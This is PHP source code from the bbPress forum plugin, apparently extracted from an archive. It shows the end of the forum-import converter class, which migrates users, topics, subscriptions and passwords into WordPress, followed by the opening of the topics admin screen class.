			// Get results as an array
			$forum_array = $this->opdb->get_results( $forum_query, ARRAY_A );

			// Query returned some results
			if ( ! empty( $forum_array ) ) {

				// Loop through results
				foreach ( (array) $forum_array as $forum ) {

					// Reset some defaults
					$insert_post = $insert_postmeta = $insert_data = array();

					// Loop through field map, again...
					foreach ( $this->field_map as $row ) {

						// Types match and to_fieldname is present. This means
						// we have some work to do here.
						if ( ( $row['to_type'] === $to_type ) && isset( $row['to_fieldname'] ) ) {

							// This row has a destination that matches one of the
							// columns in this table.
							if ( in_array( $row['to_fieldname'], $tablefield_array, true ) ) {

								// Allows us to set default fields.
								if ( isset( $row['default'] ) ) {
									$insert_post[ $row['to_fieldname'] ] = $row['default'];

								// Translates a field from the old forum.
								} elseif ( isset( $row['callback_method'] ) ) {
									if ( ( 'callback_userid' === $row['callback_method'] ) && ( false === $this->convert_users ) ) {
										$insert_post[ $row['to_fieldname'] ] = $forum[ $row['from_fieldname'] ];
									} else {
										$insert_post[ $row['to_fieldname'] ] = call_user_func_array( array( $this, $row['callback_method'] ), array( $forum[ $row['from_fieldname'] ], $forum ) );
									}

								// Maps the field from the old forum.
								} else {
									$insert_post[ $row['to_fieldname'] ] = $forum[ $row['from_fieldname'] ];
								}

							// Destination field is not empty, so we might need
							// to do some extra work or set a default.
							} elseif ( ! empty( $row['to_fieldname'] ) ) {

								// Allows us to set default fields.
								if ( isset( $row['default'] ) ) {
									$insert_postmeta[ $row['to_fieldname'] ] = $row['default'];

								// Translates a field from the old forum.
								} elseif ( isset( $row['callback_method'] ) ) {
									if ( ( $row['callback_method'] === 'callback_userid' ) && ( false === $this->convert_users ) ) {
										$insert_postmeta[ $row['to_fieldname'] ] = $forum[ $row['from_fieldname'] ];
									} else {
										$insert_postmeta[ $row['to_fieldname'] ] = call_user_func_array( array( $this, $row['callback_method'] ), array( $forum[ $row['from_fieldname'] ], $forum ) );
									}

								// Maps the field from the old forum.
								} else {
									$insert_postmeta[ $row['to_fieldname'] ] = $forum[ $row['from_fieldname'] ];
								}
							}
						}
					}

					/** Step 3 ************************************************/

					// Something to insert into the destination field
					if ( count( $insert_post ) > 0 || ( $to_type == 'tags' && count( $insert_postmeta ) > 0 ) ) {

						switch ( $to_type ) {

							/** New user **************************************/

							case 'user' :
								if ( username_exists( $insert_post['user_login'] ) ) {
									$insert_post['user_login'] = "imported_{$insert_post['user_login']}";
								}

								if ( email_exists( $insert_post['user_email'] ) ) {
									$insert_post['user_email'] = "imported_{$insert_post['user_email']}";
								}

								if ( empty( $insert_post['user_pass'] ) ) {
									$insert_post['user_pass'] = '';
								}

								// Internally re-calls _exists() checks above.
								// Also checks for existing nicename.
								$post_id = wp_insert_user( $insert_post );

								if ( is_numeric( $post_id ) ) {
									foreach ( $insert_postmeta as $key => $value ) {
										add_user_meta( $post_id, $key, $value, true );

										if ( '_id' == substr( $key, -3 ) && ( true === $this->sync_table ) ) {
											$this->wpdb->insert( $this->sync_table_name, array(
												'value_type' => 'user',
												'value_id'   => $post_id,
												'meta_key'   => $key,
												'meta_value' => $value
											) );
										}
									}
								}
								break;

							/** New Topic-Tag *********************************/

							case 'tags' :
								$post_id = wp_set_object_terms( $insert_postmeta['objectid'], $insert_postmeta['name'], 'topic-tag', true );
								$term = get_term_by( 'name', $insert_postmeta['name'], 'topic-tag');
								if ( false !== $term ) {
									wp_update_term( $term->term_id, 'topic-tag', array(
										'description' => $insert_postmeta['description'],
										'slug'        => $insert_postmeta['slug']
									) );
								}
								break;

							/** Forum Subscriptions ***************************/

							case 'forum_subscriptions' :
								$user_id = $insert_post['user_id'];
								$items   = wp_list_pluck( $insert_postmeta, '_bbp_forum_subscriptions' );
								if ( is_numeric( $user_id ) && ! empty( $items ) ) {
									foreach ( $items as $value ) {

										// Maybe string with commas
										$value = is_string( $value )
											? explode( ',', $value )
											: (array) $value;

										// Add user ID to forums subscribed users
										foreach ( $value as $fav ) {
											bbp_add_user_subscription( $user_id, $this->callback_forumid( $fav ) );
										}
									}
								}
								break;

							/** Subscriptions *********************************/

							case 'topic_subscriptions' :
								$user_id = $insert_post['user_id'];
								$items   = wp_list_pluck( $insert_postmeta, '_bbp_subscriptions' );
								if ( is_numeric( $user_id ) && ! empty( $items ) ) {
									foreach ( $items as $value ) {

										// Maybe string with commas
										$value = is_string( $value )
											? explode( ',', $value )
											: (array) $value;

										// Add user ID to topics subscribed users
										foreach ( $value as $fav ) {
											bbp_add_user_subscription( $user_id, $this->callback_topicid( $fav ) );
										}
									}
								}
								break;

							/** Favorites *************************************/

							case 'favorites' :
								$user_id = $insert_post['user_id'];
								$items   = wp_list_pluck( $insert_postmeta, '_bbp_favorites' );
								if ( is_numeric( $user_id ) && ! empty( $items ) ) {
									foreach ( $items as $value ) {

										// Maybe string with commas
										$value = is_string( $value )
											? explode( ',', $value )
											: (array) $value;

										// Add user ID to topics favorited users
										foreach ( $value as $fav ) {
											bbp_add_user_favorite( $user_id, $this->callback_topicid( $fav ) );
										}
									}
								}
								break;

							/** Forum, Topic, Reply ***************************/

							default :
								$post_id = wp_insert_post( $insert_post, true );

								if ( is_numeric( $post_id ) ) {
									foreach ( $insert_postmeta as $key => $value ) {
										add_post_meta( $post_id, $key, $value, true );

										/**
										 * If we are using the sync_table add
										 * the meta '_id' keys to the table
										 *
										 * Forums:  _bbp_old_forum_id         // The old forum ID
										 *          _bbp_old_forum_parent_id  // The old forum parent ID
										 *
										 * Topics:  _bbp_forum_id             // The new forum ID
										 *          _bbp_old_topic_id         // The old topic ID
										 *          _bbp_old_closed_status_id // The old topic open/closed status
										 *          _bbp_old_sticky_status_id // The old topic sticky status
										 *
										 * Replies: _bbp_forum_id             // The new forum ID
										 *          _bbp_topic_id             // The new topic ID
										 *          _bbp_old_reply_id         // The old reply ID
										 *          _bbp_old_reply_to_id      // The old reply to ID
										 */
										if ( '_id' === substr( $key, -3 ) && ( true === $this->sync_table ) ) {
											$this->wpdb->insert( $this->sync_table_name, array(
												'value_type' => 'post',
												'value_id'   => $post_id,
												'meta_key'   => $key,
												'meta_value' => $value
											) );
										}

										/**
										 * Replies need to save their old reply_to ID for
										 * hierarchical replies association. Later we update
										 * the _bbp_reply_to value with the new bbPress
										 * value using convert_reply_to_parents()
										 */
										if ( ( 'reply' === $to_type ) && ( '_bbp_old_reply_to_id' === $key ) ) {
											add_post_meta( $post_id, '_bbp_reply_to', $value );
										}
									}
								}
								break;
						}
						$has_insert = true;
					}
				}
			}
		}

		return ! $has_insert;
	}

	/**
	 * This method converts old forum hierarchy to new bbPress hierarchy.
	 */
	public function convert_forum_parents( $start = 1 ) {
		$has_update = false;
		$query      = ! empty( $this->sync_table )
			? $this->wpdb->prepare( "SELECT value_id, meta_value FROM {$this->sync_table_name} WHERE meta_key = %s AND meta_value > 0 LIMIT {$start}, {$this->max_rows}",           '_bbp_old_forum_parent_id' )
			: $this->wpdb->prepare( "SELECT post_id AS value_id, meta_value FROM {$this->wpdb->postmeta} WHERE meta_key = %s AND meta_value > 0 LIMIT {$start}, {$this->max_rows}", '_bbp_old_forum_parent_id' );

		foreach ( $this->count_rows_by_results( $query ) as $row ) {
			$parent_id = $this->callback_forumid( $row->meta_value );
			$this->query( $this->wpdb->prepare( "UPDATE {$this->wpdb->posts} SET post_parent = %d WHERE ID = %d LIMIT 1", $parent_id, $row->value_id ) );
			$has_update = true;
		}

		return ! $has_update;
	}

	/**
	 * This method converts old topic stickies to new bbPress stickies.
	 *
	 * @since 2.5.0 bbPress (r5170)
	 */
	public function convert_topic_stickies( $start = 1 ) {
		$has_update = false;
		$query      = ! empty( $this->sync_table )
			? $this->wpdb->prepare( "SELECT value_id, meta_value FROM {$this->sync_table_name} WHERE meta_key = %s AND meta_value = %s LIMIT {$start}, {$this->max_rows}",           '_bbp_old_sticky_status_id', 'sticky' )
			: $this->wpdb->prepare( "SELECT post_id AS value_id, meta_value FROM {$this->wpdb->postmeta} WHERE meta_key = %s AND meta_value = %s LIMIT {$start}, {$this->max_rows}", '_bbp_old_sticky_status_id', 'sticky' );

		foreach ( $this->count_rows_by_results( $query ) as $row ) {
			bbp_stick_topic( $row->value_id );
			$has_update = true;
		}

		return ! $has_update;
	}

	/**
	 * This method converts old topic super stickies to new bbPress super stickies.
	 *
	 * @since 2.5.0 bbPress (r5170)
	 */
	public function convert_topic_super_stickies( $start = 1 ) {
		$has_update = false;
		$query      = ! empty( $this->sync_table )
			? $this->wpdb->prepare( "SELECT value_id, meta_value FROM {$this->sync_table_name} WHERE meta_key = %s AND meta_value = %s LIMIT {$start}, {$this->max_rows}",           '_bbp_old_sticky_status_id', 'super-sticky' )
			: $this->wpdb->prepare( "SELECT post_id AS value_id, meta_value FROM {$this->wpdb->postmeta} WHERE meta_key = %s AND meta_value = %s LIMIT {$start}, {$this->max_rows}", '_bbp_old_sticky_status_id', 'super-sticky' );

		foreach ( $this->count_rows_by_results( $query ) as $row ) {
			$super = true;
			bbp_stick_topic( $row->value_id, $super );
			$has_update = true;
		}

		return ! $has_update;
	}

	/**
	 * This method converts old closed topics to bbPress closed topics.
	 *
	 * @since 2.6.0 bbPress (r5425)
	 */
	public function convert_topic_closed_topics( $start = 1 ) {
		$has_update = false;
		$query      = ! empty( $this->sync_table )
			? $this->wpdb->prepare( "SELECT value_id, meta_value FROM {$this->sync_table_name} WHERE meta_key = %s AND meta_value = %s LIMIT {$start}, {$this->max_rows}",           '_bbp_old_closed_status_id', 'closed' )
			: $this->wpdb->prepare( "SELECT post_id AS value_id, meta_value FROM {$this->wpdb->postmeta} WHERE meta_key = %s AND meta_value = %s LIMIT {$start}, {$this->max_rows}", '_bbp_old_closed_status_id', 'closed' );

		foreach ( $this->count_rows_by_results( $query ) as $row ) {
			bbp_close_topic( $row->value_id );
			$has_update = true;
		}

		return ! $has_update;
	}

	/**
	 * This method converts old reply_to post id to new bbPress reply_to post id.
	 *
	 * @since 2.4.0 bbPress (r5093)
	 */
	public function convert_reply_to_parents( $start = 1 ) {
		$has_update = false;
		$query      = ! empty( $this->sync_table )
			? $this->wpdb->prepare( "SELECT value_id, meta_value FROM {$this->sync_table_name} WHERE meta_key = %s AND meta_value > 0 LIMIT {$start}, {$this->max_rows}",           '_bbp_old_reply_to_id' )
			: $this->wpdb->prepare( "SELECT post_id AS value_id, meta_value FROM {$this->wpdb->postmeta} WHERE meta_key = %s AND meta_value > 0 LIMIT {$start}, {$this->max_rows}", '_bbp_old_reply_to_id' );

		foreach ( $this->count_rows_by_results( $query ) as $row ) {
			$reply_to = $this->callback_reply_to( $row->meta_value );
			$this->query( $this->wpdb->prepare( "UPDATE {$this->wpdb->postmeta} SET meta_value = %s WHERE meta_key = %s AND post_id = %d LIMIT 1", $reply_to, '_bbp_reply_to', $row->value_id ) );
			$has_update = true;
		}

		return ! $has_update;
	}

	/**
	 * This method converts anonymous topics.
	 *
	 * @since 2.6.0 bbPress (r5538)
	 */
	public function convert_anonymous_topic_authors( $start = 1 ) {

		$has_update = false;

		if ( ! empty( $this->sync_table ) ) {
			$query = $this->wpdb->prepare( "SELECT sync_table1.value_id AS topic_id, sync_table1.meta_value AS topic_is_anonymous, sync_table2.meta_value AS topic_author
				FROM {$this->sync_table_name} AS sync_table1
				INNER JOIN {$this->sync_table_name} AS sync_table2
				ON ( sync_table1.value_id = sync_table2.value_id )
				WHERE sync_table1.meta_value = %s
				AND sync_table2.meta_key = %s
				LIMIT {$start}, {$this->max_rows}", 'true', '_bbp_old_topic_author_name_id' );
		} else {
			$query = $this->wpdb->prepare( "SELECT wp_postmeta1.post_id AS topic_id, wp_postmeta1.meta_value AS topic_is_anonymous, wp_postmeta2.meta_value AS topic_author
				FROM {$this->wpdb->postmeta} AS wp_postmeta1
				INNER JOIN {$this->wpdb->postmeta} AS wp_postmeta2
				ON ( wp_postmeta1.post_id = wp_postmeta2.post_id )
				WHERE wp_postmeta1.meta_value = %s
				AND wp_postmeta2.meta_key = %s
				LIMIT {$start}, {$this->max_rows}", 'true', '_bbp_old_topic_author_name_id' );
		}

		foreach ( $this->count_rows_by_results( $query ) as $row ) {
			$anonymous_topic_author_id = 0;
			$this->query( $this->wpdb->prepare( "UPDATE {$this->wpdb->posts} SET post_author = %d WHERE ID = %d LIMIT 1", $anonymous_topic_author_id, $row->topic_id ) );

			add_post_meta( $row->topic_id, '_bbp_anonymous_name', $row->topic_author );

			$has_update = true;
		}

		return ! $has_update;
	}

	/**
	 * This method converts anonymous replies.
	 *
	 * @since 2.6.0 bbPress (r5538)
	 */
	public function convert_anonymous_reply_authors( $start = 1 ) {

		$has_update = false;

		if ( ! empty( $this->sync_table ) ) {
			$query = $this->wpdb->prepare( "SELECT sync_table1.value_id AS reply_id, sync_table1.meta_value AS reply_is_anonymous, sync_table2.meta_value AS reply_author
				FROM {$this->sync_table_name} AS sync_table1
				INNER JOIN {$this->sync_table_name} AS sync_table2
				ON ( sync_table1.value_id = sync_table2.value_id )
				WHERE sync_table1.meta_value = %s
				AND sync_table2.meta_key = %s
				LIMIT {$start}, {$this->max_rows}", 'true', '_bbp_old_reply_author_name_id' );
		} else {
			$query = $this->wpdb->prepare( "SELECT wp_postmeta1.post_id AS reply_id, wp_postmeta1.meta_value AS reply_is_anonymous, wp_postmeta2.meta_value AS reply_author
				FROM {$this->wpdb->postmeta} AS wp_postmeta1
				INNER JOIN {$this->wpdb->postmeta} AS wp_postmeta2
				ON ( wp_postmeta1.post_id = wp_postmeta2.post_id )
				WHERE wp_postmeta1.meta_value = %s
				AND wp_postmeta2.meta_key = %s
				LIMIT {$start}, {$this->max_rows}", 'true', '_bbp_old_reply_author_name_id' );
		}

		foreach ( $this->count_rows_by_results( $query ) as $row ) {
			$anonymous_reply_author_id = 0;
			$this->query( $this->wpdb->prepare( "UPDATE {$this->wpdb->posts} SET post_author = %d WHERE ID = %d LIMIT 1", $anonymous_reply_author_id, $row->reply_id ) );

			add_post_meta( $row->reply_id, '_bbp_anonymous_name', $row->reply_author );

			$has_update = true;
		}

		return ! $has_update;
	}

	/**
	 * This method deletes data from the wp database.
	 *
	 * @since 2.6.0 bbPress (r6456)
	 */
	public function clean() {

		// Defaults
		$has_delete = false;

		/** Delete topics/forums/posts ****************************************/

		$esc_like = $this->wpdb->esc_like( '_bbp_' ) . '%';
		$query    = ! empty( $this->sync_table )
			? $this->wpdb->prepare( "SELECT value_id FROM {$this->sync_table_name} INNER JOIN {$this->wpdb->posts} ON(value_id = ID) WHERE meta_key LIKE %s AND value_type = %s GROUP BY value_id ORDER BY value_id DESC LIMIT {$this->max_rows}", $esc_like, 'post' )
			: $this->wpdb->prepare( "SELECT post_id AS value_id FROM {$this->wpdb->postmeta} WHERE meta_key LIKE %s GROUP BY post_id ORDER BY post_id DESC LIMIT {$this->max_rows}", $esc_like );

		$posts = $this->get_results( $query, ARRAY_A );

		if ( isset( $posts[0] ) && ! empty( $posts[0]['value_id'] ) ) {
			foreach ( (array) $posts as $value ) {
				$deleted = wp_delete_post( $value['value_id'], true );

				// Only flag if not empty or error
				if ( ( false === $has_delete ) && ! empty( $deleted ) && ! is_wp_error( $deleted ) ) {
					$has_delete = true;
				}
			}
		}

		/** Delete users ******************************************************/

		$query = ! empty( $this->sync_table )
			? $this->wpdb->prepare( "SELECT value_id FROM {$this->sync_table_name} INNER JOIN {$this->wpdb->users} ON(value_id = ID) WHERE meta_key = %s AND value_type = %s LIMIT {$this->max_rows}", '_bbp_old_user_id', 'user' )
			: $this->wpdb->prepare( "SELECT user_id AS value_id FROM {$this->wpdb->usermeta} WHERE meta_key = %s LIMIT {$this->max_rows}", '_bbp_old_user_id' );

		$users = $this->get_results( $query, ARRAY_A );

		if ( ! empty( $users ) ) {
			foreach ( $users as $value ) {
				$deleted = wp_delete_user( $value['value_id'] );

				// Only flag if not empty or error
				if ( ( false === $has_delete ) && ! empty( $deleted ) && ! is_wp_error( $deleted ) ) {
					$has_delete = true;
				}
			}
		}

		unset( $posts );
		unset( $users );

		return ! $has_delete;
	}

	/**
	 * This method deletes passwords from the wp database.
	 *
	 * @param int Start row
	 */
	public function clean_passwords( $start = 1 ) {
		$has_delete = false;
		$query      = $this->wpdb->prepare( "SELECT user_id, meta_value FROM {$this->wpdb->usermeta} WHERE meta_key = %s LIMIT {$start}, {$this->max_rows}", '_bbp_password' );
		$converted  = $this->get_results( $query, ARRAY_A );

		if ( ! empty( $converted ) ) {
			foreach ( $converted as $value ) {
				if ( is_serialized( $value['meta_value'] ) ) {
					$this->query( $this->wpdb->prepare( "UPDATE {$this->wpdb->users} SET user_pass = '' WHERE ID = %d", $value['user_id'] ) );
				} else {
					$this->query( $this->wpdb->prepare( "UPDATE {$this->wpdb->users} SET user_pass = %s WHERE ID = %d", $value['meta_value'], $value['user_id'] ) );
					$this->query( $this->wpdb->prepare( "DELETE FROM {$this->wpdb->usermeta} WHERE meta_key = %s AND user_id = %d", '_bbp_password', $value['user_id'] ) );
				}
			}
			$has_delete = true;
		}

		return ! $has_delete;
	}

	/**
	 * This method implements the authentication for the different forums.
	 *
	 * @param string Un-encoded password.
	 */
	abstract protected function authenticate_pass( $password, $hash );

	/**
	 * Info
	 */
	abstract protected function info();

	/**
	 * This method grabs appropriate fields from the table specified
	 *
	 * @param string The table name to grab fields from
	 */
	private function get_fields( $tablename = '' ) {
		$retval      = array();
		$field_array = $this->get_results( "DESCRIBE {$tablename}", ARRAY_A );

		// Bail if no fields
		if ( empty( $field_array ) ) {
			return $retval;
		}

		// Add fields to array
		foreach ( $field_array as $field ) {
			if ( ! empty( $field['Field'] ) ) {
				$retval[] = $field['Field'];
			}
		}

		// Add social fields for users table
		if ( $tablename === $this->wpdb->users ) {
			$retval[] = 'role';
			$retval[] = 'yim';
			$retval[] = 'aim';
			$retval[] = 'jabber';
		}

		return $retval;
	}

	/** Database Wrappers *****************************************************/

	/**
	 * Update the last query option and return results
	 *
	 * @param string $query
	 * @param string $output
	 */
	private function get_row( $query = '' ) {
		$this->update_query( $query );

		return $this->wpdb->get_row( $query );
	}

	/**
	 * Update the last query option and return results
	 *
	 * @param string $query
	 * @param string $output
	 */
	private function get_results( $query = '', $output = OBJECT ) {
		$this->update_query( $query );

		return (array) $this->wpdb->get_results( $query, $output );
	}

	/**
	 * Update the last query option and do a general query
	 *
	 * @param string $query
	 */
	private function query( $query = '' ) {
		$this->update_query( $query );

		return $this->wpdb->query( $query );
	}

	/**
	 * Update the last query ran
	 *
	 * @since 2.6.0 bbPress (r6637)
	 *
	 * @param string $query The literal MySQL query
	 * @return bool
	 */
	private function update_query( $query = '' ) {
		return update_option( '_bbp_converter_query', $query );
	}

	/**
	 * Update the number of rows in the current step
	 *
	 * @since 2.6.0 bbPress (r6637)
	 *
	 * @param string $query The literal MySQL query
	 * @return bool
	 */
	private function count_rows_by_results( $query = '' ) {
		$results = $this->get_results( $query );

		update_option( '_bbp_converter_rows_in_step', count( $results ) );

		return $results;
	}

	/**
	 * Update the number of rows in the current step
	 *
	 * @since 2.6.0 bbPress (r6637)
	 *
	 * @param string $table_name The literal MySQL query
	 * @return bool
	 */
	private function count_rows_by_table( $table_name = '' ) {
		$count = (int) $this->opdb->get_var( "SELECT COUNT(*) FROM {$table_name}" );

		return update_option( '_bbp_converter_rows_in_step', $count );
	}

	/** Callbacks *************************************************************/

	/**
	 * Run password through wp_hash_password()
	 *
	 * @param string $username
	 * @param string $password
	 */
	public function callback_pass( $username, $password ) {
		$user = $this->get_row( $this->wpdb->prepare( "SELECT * FROM {$this->wpdb->users} WHERE user_login = %s AND user_pass = '' LIMIT 1", $username ) );
		if ( ! empty( $user ) ) {
			$usermeta = $this->get_row( $this->wpdb->prepare( "SELECT * FROM {$this->wpdb->usermeta} WHERE meta_key = %s AND user_id = %d LIMIT 1", '_bbp_password', $user->ID ) );

			if ( ! empty( $usermeta ) ) {
				if ( $this->authenticate_pass( $password, $usermeta->meta_value ) ) {
					$this->query( $this->wpdb->prepare( "UPDATE {$this->wpdb->users} SET user_pass = %s WHERE ID = %d", wp_hash_password( $password ), $user->ID ) );
					$this->query( $this->wpdb->prepare( "DELETE FROM {$this->wpdb->usermeta} WHERE meta_key = %s AND user_id = %d", '_bbp_password', $user->ID ) );

					// Clean the cache for this user since their password was
					// upgraded from the old platform to the new.
					clean_user_cache( $user->ID );
				}
			}
		}
	}

	/**
	 * A mini cache system to reduce database calls to forum ID's
	 *
	 * @param string $field
	 * @return string
	 */
	private function callback_forumid( $field ) {
		if ( ! isset( $this->map_forumid[ $field ] ) ) {
			$row = ! empty( $this->sync_table )
				? $this->get_row( $this->wpdb->prepare( "SELECT value_id, meta_value FROM {$this->sync_table_name} WHERE meta_key = %s AND meta_value = %s LIMIT 1", '_bbp_old_forum_id', $field ) )
				: $this->get_row( $this->wpdb->prepare( "SELECT post_id AS value_id FROM {$this->wpdb->postmeta} WHERE meta_key = %s AND meta_value = %s LIMIT 1", '_bbp_old_forum_id', $field ) );

			$this->map_forumid[ $field ] = ! is_null( $row )
				? $row->value_id
				: 0;
		}

		return $this->map_forumid[ $field ];
	}

	/**
	 * A mini cache system to reduce database calls to topic ID's
	 *
	 * @param string $field
	 * @return string
	 */
	private function callback_topicid( $field ) {
		if ( ! isset( $this->map_topicid[ $field ] ) ) {
			$row = ! empty( $this->sync_table )
				? $this->get_row( $this->wpdb->prepare( "SELECT value_id, meta_value FROM {$this->sync_table_name} WHERE meta_key = %s AND meta_value = %s LIMIT 1", '_bbp_old_topic_id', $field ) )
				: $this->get_row( $this->wpdb->prepare( "SELECT post_id AS value_id FROM {$this->wpdb->postmeta} WHERE meta_key = %s AND meta_value = %s LIMIT 1", '_bbp_old_topic_id', $field ) );

			$this->map_topicid[ $field ] = ! is_null( $row )
				? $row->value_id
				: 0;
		}

		return $this->map_topicid[ $field ];
	}

	/**
	 * A mini cache system to reduce database calls to reply_to post id.
	 *
	 * @since 2.4.0 bbPress (r5093)
	 *
	 * @param string $field
	 * @return string
	 */
	private function callback_reply_to( $field ) {
		if ( ! isset( $this->map_reply_to[ $field ] ) ) {
			$row = ! empty( $this->sync_table )
				? $this->get_row( $this->wpdb->prepare( "SELECT value_id, meta_value FROM {$this->sync_table_name} WHERE meta_key = %s AND meta_value = %s LIMIT 1", '_bbp_old_reply_id', $field ) )
				: $this->get_row( $this->wpdb->prepare( "SELECT post_id AS value_id FROM {$this->wpdb->postmeta} WHERE meta_key = %s AND meta_value = %s LIMIT 1", '_bbp_old_reply_id', $field ) );

			$this->map_reply_to[ $field ] = ! is_null( $row )
				? $row->value_id
				: 0;
		}

		return $this->map_reply_to[ $field ];
	}

	/**
	 * A mini cache system to reduce database calls to user ID's
	 *
	 * @param string $field
	 * @return string
	 */
	private function callback_userid( $field ) {
		if ( ! isset( $this->map_userid[ $field ] ) ) {
			$row = ! empty( $this->sync_table )
				? $this->get_row( $this->wpdb->prepare( "SELECT value_id, meta_value FROM {$this->sync_table_name} WHERE meta_key = %s AND meta_value = %s LIMIT 1", '_bbp_old_user_id', $field ) )
				: $this->get_row( $this->wpdb->prepare( "SELECT user_id AS value_id FROM {$this->wpdb->usermeta} WHERE meta_key = %s AND meta_value = %s LIMIT 1", '_bbp_old_user_id', $field ) );

			if ( ! is_null( $row ) ) {
				$this->map_userid[ $field ] = $row->value_id;
			} else {
				$this->map_userid[ $field ] = ( true === $this->convert_users )
					? 0
					: $field;
			}
		}

		return $this->map_userid[ $field ];
	}

	/**
	 * Check if the topic or reply author is anonymous
	 *
	 * @since 2.6.0 bbPress (r5544)
	 *
	 * @param  string $field
	 * @return string
	 */
	private function callback_check_anonymous( $field ) {
		$field = ( $this->callback_userid( $field ) == 0 )
			? 'true'
			: 'false';

		return $field;
	}

	/**
	 * A mini cache system to reduce database calls map topics ID's to forum ID's
	 *
	 * @param string $field
	 * @return string
	 */
	private function callback_topicid_to_forumid( $field ) {
		$topicid = $this->callback_topicid( $field );
		if ( empty( $topicid ) ) {
			$this->map_topicid_to_forumid[ $topicid ] = 0;
		} elseif ( ! isset( $this->map_topicid_to_forumid[ $topicid ] ) ) {
			$row = $this->get_row( $this->wpdb->prepare( "SELECT post_parent FROM {$this->wpdb->posts} WHERE ID = %d LIMIT 1", $topicid ) );

			$this->map_topicid_to_forumid[ $topicid ] = ! is_null( $row )
				? $row->post_parent
				: 0;
		}

		return $this->map_topicid_to_forumid[ $topicid ];
	}

	protected function callback_slug( $field ) {
		return sanitize_title( $field );
	}

	protected function callback_negative( $field ) {
		return ( $field < 0 )
			? 0
			: $field;
	}

	protected function callback_html( $field ) {
		require_once bbp_admin()->admin_dir . 'parser.php';

		// Setup the BBCode parser
		$bbcode = BBCode::getInstance();

		// Pass BBCode properties to the parser
		foreach ( $this->bbcode_parser_properties as $prop => $value ) {
			$bbcode->{$prop} = $value;
		}

		return html_entity_decode( $bbcode->Parse( $field ) );
	}

	protected function callback_null( $field ) {
		return is_null( $field )
			? ''
			: $field;
	}

	protected function callback_datetime( $field ) {
		return is_numeric( $field )
			? date( 'Y-m-d H:i:s', $field )
			: date( 'Y-m-d H:i:s', strtotime( $field ) );
	}
}
endif;
includes/admin/topics.php000066600000125071151771460310011473 0ustar00<?php

/**
 * bbPress Topics Admin Class
 *
 * @package bbPress
 * @subpackage Administration
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

if ( ! class_exists( 'BBP_Topics_Admin' ) ) :
/**
 * Loads bbPress topics admin area
 *
 * @package bbPress
 * @subpackage Administration
 * @since 2.0.0 bbPress (r2464)
 */
class BBP_Topics_Admin {

	/** Variables *************************************************************/

	/**
	 * @var The post type of this admin component
	 */
	private $post_type = '';

	/** Functions *************************************************************/

	/**
	 * The main bbPress topics admin loader
	 *
	 * @since 2.0.0 bbPress (r2515)
	 */
	public function __construct() {
		$this->setup_globals();
		$this->setup_actions();
	}

	/**
	 * Setup the admin hooks, actions and filters
	 *
	 * @since 2.0.0 bbPress (r2646)
	 * @since 2.6.0 bbPress (r6101) Added bulk actions
	 *
	 * @access private
	 */
	private function setup_actions() {

		// Messages
		add_filter( 'post_updated_messages', array( $this, 'updated_messages' ) );

		// Topic bulk actions, added in WordPress 4.7, see #WP16031.
		if ( bbp_get_major_wp_version() >= 4.7 ) {
			add_filter( 'bulk_actions-edit-topic',        array( $this, 'bulk_actions' ) );
			add_filter( 'handle_bulk_actions-edit-topic', array( $this, 'handle_bulk_actions' ), 10, 3 );
			add_filter( 'bulk_post_updated_messages',     array( $this, 'bulk_post_updated_messages' ), 10, 2 );
		}

		// Topic column headers.
		add_filter( 'manage_' . $this->post_type . '_posts_columns',        array( $this, 'column_headers' ) );

		// Topic columns (in post row)
		add_action( 'manage_' . $this->post_type . '_posts_custom_column',  array( $this, 'column_data' ), 10, 2 );
		add_filter( 'post_row_actions',                                     array( $this, 'row_actions' ), 10, 2 );

		// Topic meta-box actions
		add_action( 'add_meta_boxes', array( $this, 'attributes_metabox'    ) );
		add_action( 'add_meta_boxes', array( $this, 'author_metabox'        ) );
		add_action( 'add_meta_boxes', array( $this, 'replies_metabox'       ) );
		add_action( 'add_meta_boxes', array( $this, 'engagements_metabox'   ) );
		add_action( 'add_meta_boxes', array( $this, 'favorites_metabox'     ) );
		add_action( 'add_meta_boxes', array( $this, 'subscriptions_metabox' ) );
		add_action( 'add_meta_boxes', array( $this, 'comments_metabox'      ) );
		add_action( 'save_post',      array( $this, 'save_meta_boxes'       ) );

		// Check if there are any bbp_toggle_topic_* requests on admin_init, also have a message displayed
		add_action( 'load-edit.php',  array( $this, 'toggle_topic'        ) );
		add_action( 'load-edit.php',  array( $this, 'toggle_topic_notice' ) );

		// Add ability to filter topics and replies per forum
		add_filter( 'restrict_manage_posts', array( $this, 'filter_dropdown'  ) );
		add_filter( 'bbp_request',           array( $this, 'filter_post_rows' ) );

		// Empty spam
		add_filter( 'manage_posts_extra_tablenav', array( $this, 'filter_empty_spam' ) );

		// Contextual Help
		add_action( 'load-edit.php',     array( $this, 'edit_help' ) );
		add_action( 'load-post.php',     array( $this, 'new_help'  ) );
		add_action( 'load-post-new.php', array( $this, 'new_help'  ) );
	}

	/**
	 * Admin globals
	 *
	 * @since 2.0.0 bbPress (r2646)
	 *
	 * @access private
	 */
	private function setup_globals() {
		$this->post_type = bbp_get_topic_post_type();
	}

	/** Contextual Help *******************************************************/

	/**
	 * Contextual help for bbPress topic edit page
	 *
	 * @since 2.0.0 bbPress (r3119)
	 */
	public function edit_help() {

		// Overview
		get_current_screen()->add_help_tab( array(
			'id'		=> 'overview',
			'title'		=> __( 'Overview', 'bbpress' ),
			'content'	=>
				'<p>' . __( 'This screen displays the individual topics on your site. You can customize the display of this screen to suit your workflow.', 'bbpress' ) . '</p>'
		) );

		// Screen Content
		get_current_screen()->add_help_tab( array(
			'id'		=> 'screen-content',
			'title'		=> __( 'Screen Content', 'bbpress' ),
			'content'	=>
				'<p>' . __( 'You can customize the display of this screen&#8217;s contents in a number of ways:', 'bbpress' ) . '</p>' .
				'<ul>' .
					'<li>' . __( 'You can hide/display columns based on your needs and decide how many topics to list per screen using the Screen Options tab.',                                                                               'bbpress' ) . '</li>' .
					'<li>' . __( 'You can filter the list of topics by topic status using the text links in the upper left to show All, Published, Draft, Pending, Trashed, Closed, or Spam  topics. The default view is to show all topics.', 'bbpress' ) . '</li>' .
					'<li>' . __( 'You can view topics in a simple title list or with an excerpt. Choose the view you prefer by clicking on the icons at the top of the list on the right.',                                                    'bbpress' ) . '</li>' .
					'<li>' . __( 'You can refine the list to show only topics in a specific forum or from a specific month by using the dropdown menus above the topics list. Click the Filter button after making your selection.',                 'bbpress' ) . '</li>' .
				'</ul>'
		) );

		// Available Actions
		get_current_screen()->add_help_tab( array(
			'id'		=> 'action-links',
			'title'		=> __( 'Available Actions', 'bbpress' ),
			'content'	=>
